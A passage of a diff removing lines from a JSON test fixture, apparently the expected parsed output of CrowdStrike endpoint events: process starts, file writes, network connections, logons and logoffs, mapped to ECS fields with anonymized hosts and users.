}, - "process": { - "args": [ - "/usr/bin/plutil", - "-convert", - "xml1", - "-o", - "/Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/Library/CoreSimulator/Profiles/Runtimes/tvOS.simruntime/Contents/Resources/RuntimeRoot/System/Library/PrivateFrameworks/DiagnosticExtensions.framework/PlugIns/com.apple.DiagnosticExtensions.CrashLogs.appex/Info.plist" - ], - "args_count": 6, - "command_line": "/usr/bin/plutil -convert xml1 -o - /Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/Library/CoreSimulator/Profiles/Runtimes/tvOS.simruntime/Contents/Resources/RuntimeRoot/System/Library/PrivateFrameworks/DiagnosticExtensions.framework/PlugIns/com.apple.DiagnosticExtensions.CrashLogs.appex/Info.plist", - "entity_id": "311776004953765502", - "executable": "/usr/bin/plutil", - "hash": { - "md5": "d51cef1b288e2032aee9805deff04bfd", - "sha256": "3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3" - }, - "name": "plutil", - "parent": { - "entity_id": "311774817965726568" - }, - "pgid": 311774817965726568, - "pid": 10692, - "real_user": { - "id": "0" - }, - "start": "2020-11-08T17:05:11.240Z" - }, - "related": { - "hash": [ - "d51cef1b288e2032aee9805deff04bfd", - "3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3", - "3344040805" - ], - "ip": [ - "67.43.156.14" - ], - "user": [ - "0" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "Ext": { - "real": { - "id": "0" - } - }, - "group": { - "id": "0" - }, - "id": "0" - } - }, - { - "@timestamp": "2020-11-08T17:05:14.427Z", - "crowdstrike": { - "ConfigStateHash": "3899738370", - "ContextProcessId": "1546527409909", - "ContextTimeStamp": "2020-11-08T17:05:14.133Z", - "DesiredAccess": "1180054", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "FileAttributes": "0", - "FileObject": "18446655033844205120", - "Information": "2", - "IrpFlags": "2180", - "MajorFunction": "0", - "MinorFunction": "0", - "OperationFlags": "0", - "Options": "88080484", - "ShareAccess": "1", - "Status": "0", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-80b5-06e11a66e03d", - "name": "NewScriptWrittenV7" - }, - "device": { - "id": "ffffffff8f1e4b77b4dae5debaa1c8bc" - }, - "event": { - "action": "creation", - "category": [ - "file" - ], - "created": "2020-11-08T17:05:14.427Z", - "id": "ffffffff-1111-11eb-80b5-06e11a66e03d|ffffffff8f1e4b77b4dae5debaa1c8bc|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3899738370\",\"ContextProcessId\":\"1546527409909\",\"ContextThreadId\":\"4711690090889\",\"ContextTimeStamp\":\"1604855114.133\",\"DesiredAccess\":\"1180054\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileAttributes\":\"0\",\"FileIdentifier\":\"501ee2c32e53fb43b07f419f3236fb45c29e000000002c00\",\"FileObject\":\"18446655033844205120\",\"Information\":\"2\",\"IrpFlags\":\"2180\",\"MajorFunction\":\"0\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"Options\":\"88080484\",\"ShareAccess\":\"1\",\"Status\":\"0\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\Temp\\\\__PSScriptPolicyTest_dvkjnbka.apn.ps1\",\"aid\":\"ffffffff8f1e4b77b4dae5debaa1c8bc\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"NewScriptWritten\",\"id\":\"ffffffff-1111-11eb-80b5-06e11a66e03d\",\"name\":\"NewScriptWrittenV7\",\"timestamp\":\"1604855114427\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "directory": "\\Device\\HarddiskVolume4\\Windows\\Temp", - "extension": "ps1", - "inode": "501ee2c32e53fb43b07f419f3236fb45c29e000000002c00", - "name": "__PSScriptPolicyTest_dvkjnbka.apn.ps1", - "path": "\\Device\\HarddiskVolume4\\Windows\\Temp\\__PSScriptPolicyTest_dvkjnbka.apn.ps1", - "type": "file" - }, - "host": { - "id": "ffffffff8f1e4b77b4dae5debaa1c8bc", - "os": { - "type": "windows" - } - }, - "message": "NewScriptWritten", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffff8f1e4b77b4dae5debaa1c8bc", - "version": "1007.3.0011603.1" - }, - "process": { - "entity_id": "1546527409909", - "thread": { - "id": 4711690090889 - } - }, - "related": { - "hash": [ - "3899738370" - ], - "ip": [ - "67.43.156.13" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T17:05:16.502Z", - "crowdstrike": { - "ConfigStateHash": "1306766522", - "ConnectionFlags": "0", - "ContextProcessId": "321275232072440993", - "ContextTimeStamp": "2020-11-08T17:05:16.421Z", - "Entitlements": "15", - "InContext": "0", - "LocalAddressIP4": [ - "0.0.0.0" - ], - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-aca9-02683aed2a0d", - "name": "NetworkConnectIP4MacV5" - }, - "destination": { - "address": "0.0.0.0", - "ip": "0.0.0.0", - "port": 0 - }, - "device": { - "id": "ffffffffd4094240a6b1d12aaf304f4f" - }, - "event": { - "action": "NetworkConnectIP4", - "category": [ - "network" - ], - "created": "2020-11-08T17:05:16.502Z", - "id": "ffffffff-1111-11eb-aca9-02683aed2a0d|ffffffffd4094240a6b1d12aaf304f4f|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"ConfigBuild\":\"1007.4.0012205.1\",\"ConfigStateHash\":\"1306766522\",\"ConnectionDirection\":\"1\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"321275232072440993\",\"ContextTimeStamp\":\"1604855116.421\",\"Entitlements\":\"15\",\"InContext\":\"0\",\"LocalAddressIP4\":\"0.0.0.0\",\"LocalPort\":\"0\",\"Protocol\":\"6\",\"RemoteAddressIP4\":\"67.43.156.14\",\"RemotePort\":\"443\",\"aid\":\"ffffffffd4094240a6b1d12aaf304f4f\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"NetworkConnectIP4\",\"id\":\"ffffffff-1111-11eb-aca9-02683aed2a0d\",\"name\":\"NetworkConnectIP4MacV5\",\"timestamp\":\"1604855116502\"}", - "outcome": "unknown", - "type": [ - "start", - "connection" - ] - }, - "host": { - "id": "ffffffffd4094240a6b1d12aaf304f4f", - "os": { - "type": "macos" - } - }, - "message": "NetworkConnectIP4", - "network": { - "direction": "inbound", - "iana_number": "6", - "transport": "tcp" - }, - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffffd4094240a6b1d12aaf304f4f", - "version": "1007.4.0012205.1" - }, - "process": { - "entity_id": "321275232072440993" - }, - "related": { - "hash": [ - "1306766522" - ], - "ip": [ - "67.43.156.13", - "0.0.0.0", - "67.43.156.14" - ] - }, - "source": { - "address": "67.43.156.14", - "as": { - "number": 35908 - }, - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": "67.43.156.14", - "port": 443 - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T17:05:16.942Z", - "crowdstrike": { - "ConfigStateHash": "2602391615", - "ConnectionFlags": "0", - "ContextProcessId": "223442259384", - "ContextTimeStamp": "2020-11-08T17:05:16.849Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "InContext": "0", - "LocalAddressIP4": [ - "67.43.156.14" - ], - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-b0eb-06be7616c211", - "name": "NetworkConnectIP4V5" - }, - "destination": { - "address": "67.43.156.14", - "as": { - "number": 35908 - }, - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": "67.43.156.14", - "port": 443 - }, - "device": { - "id": "fffffffff000426eb99afaa2ccdcbc17" - }, - "event": { - "action": "NetworkConnectIP4", - "category": [ - "network" - ], - "created": "2020-11-08T17:05:16.942Z", - "id": "ffffffff-1111-11eb-b0eb-06be7616c211|fffffffff000426eb99afaa2ccdcbc17|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"2602391615\",\"ConnectionDirection\":\"0\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"223442259384\",\"ContextTimeStamp\":\"1604855116.849\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"InContext\":\"0\",\"LocalAddressIP4\":\"67.43.156.14\",\"LocalPort\":\"53961\",\"Protocol\":\"6\",\"RemoteAddressIP4\":\"67.43.156.14\",\"RemotePort\":\"443\",\"aid\":\"fffffffff000426eb99afaa2ccdcbc17\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"NetworkConnectIP4\",\"id\":\"ffffffff-1111-11eb-b0eb-06be7616c211\",\"name\":\"NetworkConnectIP4V5\",\"timestamp\":\"1604855116942\"}", - "outcome": "unknown", - "type": [ - "start", - "connection" - ] - }, - "host": { - "id": "fffffffff000426eb99afaa2ccdcbc17", - "os": { - "type": "windows" - } - }, - "message": "NetworkConnectIP4", - "network": { - "community_id": "1:gnQhhn0wJhJU+wrHlczmnm7THKs=", - "direction": "outbound", - "iana_number": "6", - "transport": "tcp" - }, - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "fffffffff000426eb99afaa2ccdcbc17", - "version": "1007.3.0011603.1" - }, - "process": { - "entity_id": "223442259384" - }, - "related": { - "hash": [ - "2602391615" - ], - "ip": [ - "67.43.156.13", - "67.43.156.14" - ] - }, - "source": { - "address": "67.43.156.14", - "as": { - "number": 35908 - }, - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": "67.43.156.14", - "port": 53961 - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T17:05:21.077Z", - "crowdstrike": { - "AuthenticationId": "6580764513", - "AuthenticationPackage": "Negotiate", - "ConfigStateHash": "3011122681", - "ContextProcessId": "816054990879", - "ContextTimeStamp": "2020-11-08T17:04:51.781Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "LogonTime": "2020-11-08T17:04:51.781Z", - "LogonType": "9", - "RemoteAccount": "1", - "UserFlags": "0", - "UserLogonFlags": "12", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-a8cf-0649c95cfa1d", - "name": "UserLogonV8" - }, - "device": { - "id": "ffffffff8d2e4b4f9b21b40633a8d579" - }, - "event": { - "action": "UserLogon", - "category": [ - "authentication" - ], - "created": "2020-11-08T17:05:21.077Z", - "id": "ffffffff-1111-11eb-a8cf-0649c95cfa1d|ffffffff8d2e4b4f9b21b40633a8d579|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"AuthenticationId\":\"6580764513\",\"AuthenticationPackage\":\"Negotiate\",\"ClientComputerName\":\"-\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3011122681\",\"ContextProcessId\":\"816054990879\",\"ContextThreadId\":\"52913017705957\",\"ContextTimeStamp\":\"1604855091.781\",\"EffectiveTransmissionClass\":\"2\",\"Entitlements\":\"15\",\"LogonDomain\":\"NT AUTHORITY\",\"LogonServer\":\"\",\"LogonTime\":\"1604855091.781\",\"LogonType\":\"9\",\"PasswordLastSet\":\"\",\"RemoteAccount\":\"1\",\"UserFlags\":\"0\",\"UserIsAdmin\":\"0\",\"UserLogonFlags\":\"12\",\"UserName\":\"SYSTEM\",\"UserPrincipal\":\"user4@dom2\",\"UserSid\":\"S-1-5-18\",\"aid\":\"ffffffff8d2e4b4f9b21b40633a8d579\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"UserLogon\",\"id\":\"ffffffff-1111-11eb-a8cf-0649c95cfa1d\",\"name\":\"UserLogonV8\",\"timestamp\":\"1604855121077\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "domain": "NT AUTHORITY", - "id": "ffffffff8d2e4b4f9b21b40633a8d579", - "os": { - "type": "windows" - } - }, - "message": "UserLogon", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffff8d2e4b4f9b21b40633a8d579", - "version": "1007.3.0011603.1" - }, - "process": { - "entity_id": "816054990879", - "thread": { - "id": 52913017705957 - } - }, - "related": { - "hash": [ - "3011122681" - ], - "ip": [ - "67.43.156.13" - ], - "user": [ - "SYSTEM", - "user4", - "user4@dom2", - "S-1-5-18" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "dom2", - "email": "user4@dom2", - "full_name": "user4", - "id": "S-1-5-18", - "name": "SYSTEM" - } - }, - { - "@timestamp": "2020-11-08T17:05:21.109Z", - "crowdstrike": { - "AuthenticationId": "2007206396", - "ConfigStateHash": "3011122681", - "ContextProcessId": "4415814628770", - "ContextTimeStamp": "2020-11-08T17:05:20.785Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "FileEcpBitmask": "0", - "FileObject": "18446708893089967904", - "IrpFlags": "1028", - "IsOnNetwork": "0", - "IsOnRemovableDisk": "0", - "IsTransactedFile": "0", - "MajorFunction": "18", - "MinorFunction": "0", - "OperationFlags": "0", - "SHA256HashData": "d0e1b81f3f3f18256f6447703624019eaee9b1068b3f09323eced4f547cc4182", - "TokenType": "1", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-b091-06f6cca0a049", - "name": "PeFileWrittenV14" - }, - "device": { - "id": "ffffffff2c47454cba360bc404a607bb" - }, - "event": { - "action": "creation", - "category": [ - "file" - ], - "created": "2020-11-08T17:05:21.109Z", - "id": "ffffffff-1111-11eb-b091-06f6cca0a049|ffffffff2c47454cba360bc404a607bb|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"AuthenticationId\":\"2007206396\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3011122681\",\"ContextProcessId\":\"4415814628770\",\"ContextThreadId\":\"41392001729898\",\"ContextTimeStamp\":\"1604855120.785\",\"DiskParentDeviceInstanceId\":\"PCI\\\\VEN_1000\\u0026DEV_0054\\u0026SUBSYS_197615AD\\u0026REV_01\\\\4\\u00261f16fef7\\u00260\\u002600A8\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileEcpBitmask\":\"0\",\"FileIdentifier\":\"b57cb59769dfe71180b4806e6f6e6963ea8902000000cb2c\",\"FileObject\":\"18446708893089967904\",\"IrpFlags\":\"1028\",\"IsOnNetwork\":\"0\",\"IsOnRemovableDisk\":\"0\",\"IsTransactedFile\":\"0\",\"MajorFunction\":\"18\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"SHA256HashData\":\"d0e1b81f3f3f18256f6447703624019eaee9b1068b3f09323eced4f547cc4182\",\"Size\":\"6144\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume2\\\\Users\\\\user10\\\\AppData\\\\Local\\\\Temp\\\\ec1ijefl.dll\",\"TokenType\":\"1\",\"aid\":\"ffffffff2c47454cba360bc404a607bb\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"PeFileWritten\",\"id\":\"ffffffff-1111-11eb-b091-06f6cca0a049\",\"name\":\"PeFileWrittenV14\",\"timestamp\":\"1604855121109\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "device": "PCI\\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\\4&1f16fef7&0&00A8", - "directory": "\\Device\\HarddiskVolume2\\Users\\user10\\AppData\\Local\\Temp", - "extension": "dll", - "hash": { - "sha256": "d0e1b81f3f3f18256f6447703624019eaee9b1068b3f09323eced4f547cc4182" - }, - "inode": "b57cb59769dfe71180b4806e6f6e6963ea8902000000cb2c", - "name": "ec1ijefl.dll", - "path": "\\Device\\HarddiskVolume2\\Users\\user10\\AppData\\Local\\Temp\\ec1ijefl.dll", - "size": 6144, - "type": "file" - }, - "host": { - "id": "ffffffff2c47454cba360bc404a607bb", - "os": { - "type": "windows" - } - }, - "message": "PeFileWritten", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffff2c47454cba360bc404a607bb", - "version": "1007.3.0011603.1" - }, - "process": { - "entity_id": "4415814628770", - "thread": { - "id": 41392001729898 - } - }, - "related": { - "hash": [ - "d0e1b81f3f3f18256f6447703624019eaee9b1068b3f09323eced4f547cc4182", - "3011122681" - ], - "ip": [ - "67.43.156.13" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T17:05:34.461Z", - "crowdstrike": { - "AuthenticationId": "317005428", - "AuthenticationPackage": "Negotiate", - "ConfigStateHash": "3950066843", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "LogoffTime": "2020-11-08T17:05:32.756Z", - "LogonServer": "srv2", - "LogonTime": "2020-11-08T17:05:31.666Z", - "LogonType": "7", - "PasswordLastSet": "1598119332.510", - "RemoteAccount": "1", - "UserFlags": "32", - "UserLogoffType": "3", - "UserLogonFlags": "0", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-8913-0287fd11c79b", - "name": "UserLogoffV3" - }, - "device": { - "id": "ffffffffe0104823bd3de859d5bc8bc7" - }, - "event": { - "action": "UserLogoff", - "category": [ - "authentication" - ], - "created": "2020-11-08T17:05:34.461Z", - "id": "ffffffff-1111-11eb-8913-0287fd11c79b|ffffffffe0104823bd3de859d5bc8bc7|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"AuthenticationId\":\"317005428\",\"AuthenticationPackage\":\"Negotiate\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3950066843\",\"EffectiveTransmissionClass\":\"2\",\"Entitlements\":\"15\",\"LogoffTime\":\"1604855132.756\",\"LogonDomain\":\"dom1\",\"LogonServer\":\"srv2\",\"LogonTime\":\"1604855131.666\",\"LogonType\":\"7\",\"PasswordLastSet\":\"1598119332.510\",\"RemoteAccount\":\"1\",\"UserFlags\":\"32\",\"UserIsAdmin\":\"0\",\"UserLogoffType\":\"3\",\"UserLogonFlags\":\"0\",\"UserName\":\"user4\",\"UserPrincipal\":\"user.name@dom2.com\",\"UserSid\":\"S-1-5-21-606747145-1364589140-725345543-28636\",\"aid\":\"ffffffffe0104823bd3de859d5bc8bc7\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"UserLogoff\",\"id\":\"ffffffff-1111-11eb-8913-0287fd11c79b\",\"name\":\"UserLogoffV3\",\"timestamp\":\"1604855134461\"}", - "outcome": "success", - "type": [ - "end" - ] - }, - "host": { - "domain": "dom1", - "id": "ffffffffe0104823bd3de859d5bc8bc7", - "os": { - "type": "windows" - } - }, - "message": "UserLogoff", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffffe0104823bd3de859d5bc8bc7", - "version": "1007.3.0011603.1" - }, - "related": { - "hash": [ - "3950066843" - ], - "hosts": [ - "srv2" - ], - "ip": [ - "67.43.156.13" - ], - "user": [ - "user4", - "user.name", - "user.name@dom2.com", - "S-1-5-21-606747145-1364589140-725345543-28636" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "dom2.com", - "email": "user.name@dom2.com", - "full_name": "user.name", - "id": "S-1-5-21-606747145-1364589140-725345543-28636", - "name": "user4" - } - }, - { - "@timestamp": "2020-11-08T17:05:49.643Z", - "crowdstrike": { - "ConfigStateHash": "537307300", - "ContextProcessId": "635780922149", - "ContextTimeStamp": "2020-11-08T17:03:45.966Z", - "DesiredAccess": "1180054", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "FileAttributes": "128", - "FileObject": "18446695174291796544", - "Information": "2", - "IrpFlags": "2180", - "MajorFunction": "0", - "MinorFunction": "0", - "OperationFlags": "0", - "Options": "83886176", - "ShareAccess": "3", - "Status": "0", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-93cb-067deb43537b", - "name": "NewExecutableWrittenV1" - }, - "device": { - "id": "ffffffff425942f58382dbb11350eeda" - }, - "event": { - "action": "creation", - "category": [ - "file" - ], - "created": "2020-11-08T17:05:49.643Z", - "id": "ffffffff-1111-11eb-93cb-067deb43537b|ffffffff425942f58382dbb11350eeda|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"537307300\",\"ContextProcessId\":\"635780922149\",\"ContextThreadId\":\"9479299143023\",\"ContextTimeStamp\":\"1604855025.966\",\"DesiredAccess\":\"1180054\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileAttributes\":\"128\",\"FileIdentifier\":\"0e02a8c7ed9d244887cef0409af0e6190030000000001100\",\"FileObject\":\"18446695174291796544\",\"Information\":\"2\",\"IrpFlags\":\"2180\",\"MajorFunction\":\"0\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"Options\":\"83886176\",\"ShareAccess\":\"3\",\"Status\":\"0\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Program Files\\\\Snow Software\\\\Inventory\\\\Agent\\\\cloudmeteringhost.exe\",\"aid\":\"ffffffff425942f58382dbb11350eeda\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"NewExecutableWritten\",\"id\":\"ffffffff-1111-11eb-93cb-067deb43537b\",\"name\":\"NewExecutableWrittenV1\",\"timestamp\":\"1604855149643\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "directory": "\\Device\\HarddiskVolume4\\Program Files\\Snow Software\\Inventory\\Agent", - "extension": "exe", - "inode": "0e02a8c7ed9d244887cef0409af0e6190030000000001100", - "name": "cloudmeteringhost.exe", - "path": "\\Device\\HarddiskVolume4\\Program Files\\Snow Software\\Inventory\\Agent\\cloudmeteringhost.exe", - "type": "file" - }, - "host": { - "id": "ffffffff425942f58382dbb11350eeda", - "os": { - "type": "windows" - } - }, - "message": "NewExecutableWritten", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffff425942f58382dbb11350eeda", - "version": "1007.3.0011603.1" - }, - "process": { - "entity_id": "635780922149", - "thread": { - "id": 9479299143023 - } - }, - "related": { - "hash": [ - "537307300" - ], - "ip": [ - "67.43.156.13" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T17:05:50.545Z", - "crowdstrike": { - "ConfigStateHash": "3765958535", - "ConnectionFlags": "0", - "ContextProcessId": "50714198593318", - "ContextTimeStamp": "2020-11-08T17:05:50.066Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "InContext": "0", - "LocalAddressIP4": [ - "127.0.0.1" - ], - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-8726-063418e4a9e7", - "name": "NetworkListenIP4V5" - }, - "destination": { - "address": "0.0.0.0", - "ip": "0.0.0.0", - "port": 0 - }, - "device": { - "id": "ffffffffa51b4acf9dbc1fc273e6145c" - }, - "event": { - "action": "NetworkListenIP4", - "category": [ - "network" - ], - "created": "2020-11-08T17:05:50.545Z", - "id": "ffffffff-1111-11eb-8726-063418e4a9e7|ffffffffa51b4acf9dbc1fc273e6145c|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3765958535\",\"ConnectionDirection\":\"2\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"50714198593318\",\"ContextThreadId\":\"194302491825207\",\"ContextTimeStamp\":\"1604855150.066\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"InContext\":\"0\",\"LocalAddressIP4\":\"127.0.0.1\",\"LocalPort\":\"59491\",\"Protocol\":\"6\",\"RemoteAddressIP4\":\"0.0.0.0\",\"RemotePort\":\"0\",\"aid\":\"ffffffffa51b4acf9dbc1fc273e6145c\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"NetworkListenIP4\",\"id\":\"ffffffff-1111-11eb-8726-063418e4a9e7\",\"name\":\"NetworkListenIP4V5\",\"timestamp\":\"1604855150545\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "id": "ffffffffa51b4acf9dbc1fc273e6145c", - "os": { - "type": "windows" - } - }, - "message": "NetworkListenIP4", - "network": { - "direction": "unknown", - "iana_number": "6", - "transport": "tcp" - }, - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffffa51b4acf9dbc1fc273e6145c", - "version": "1007.3.0011603.1" - }, - "process": { - "entity_id": "50714198593318", - "thread": { - "id": 194302491825207 - } - }, - "related": { - "hash": [ - "3765958535" - ], - "ip": [ - "67.43.156.14", - "127.0.0.1", - "0.0.0.0" - ] - }, - "source": { - "address": "127.0.0.1", - "ip": "127.0.0.1", - "port": 59491 - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T17:05:54.274Z", - "crowdstrike": { - "ClientComputerName": "com1", - "ConfigStateHash": "3011122681", - "ContextProcessId": "7073822473144", - "ContextTimeStamp": "2020-11-08T17:05:52.993Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "EtwRawThreadId": 5304, - "LogonType": "3", - "Status": "3221225581", - "SubStatus": "3221225578", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-a8aa-067029dffccb", - "name": "UserLogonFailed2V2" - }, - "destination": { - "address": "67.43.156.14", - "as": { - "number": 35908 - }, - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": "67.43.156.14" - }, - "device": { - "id": "ffffffffd8844a59acce5e1f4ad01888" - }, - "event": { - "action": "UserLogonFailed2", - "category": [ - "authentication" - ], - "created": "2020-11-08T17:05:54.274Z", - "id": "ffffffff-1111-11eb-a8aa-067029dffccb|ffffffffd8844a59acce5e1f4ad01888|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"ClientComputerName\":\"com1\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3011122681\",\"ContextProcessId\":\"7073822473144\",\"ContextThreadId\":\"48689911139327\",\"ContextTimeStamp\":\"1604855152.993\",\"EffectiveTransmissionClass\":\"2\",\"Entitlements\":\"15\",\"EtwRawProcessId\":\"744\",\"EtwRawThreadId\":\"5304\",\"LogonDomain\":\"BROADCAST\",\"LogonType\":\"3\",\"RemoteAddressIP4\":\"67.43.156.14\",\"Status\":\"3221225581\",\"SubStatus\":\"3221225578\",\"UserName\":\"user5\",\"aid\":\"ffffffffd8844a59acce5e1f4ad01888\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"UserLogonFailed2\",\"id\":\"ffffffff-1111-11eb-a8aa-067029dffccb\",\"name\":\"UserLogonFailed2V2\",\"timestamp\":\"1604855154274\"}", - "outcome": "failure", - "type": [ - "start" - ] - }, - "host": { - "domain": "BROADCAST", - "id": "ffffffffd8844a59acce5e1f4ad01888", - "os": { - "type": "windows" - } - }, - "message": "UserLogonFailed2", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - 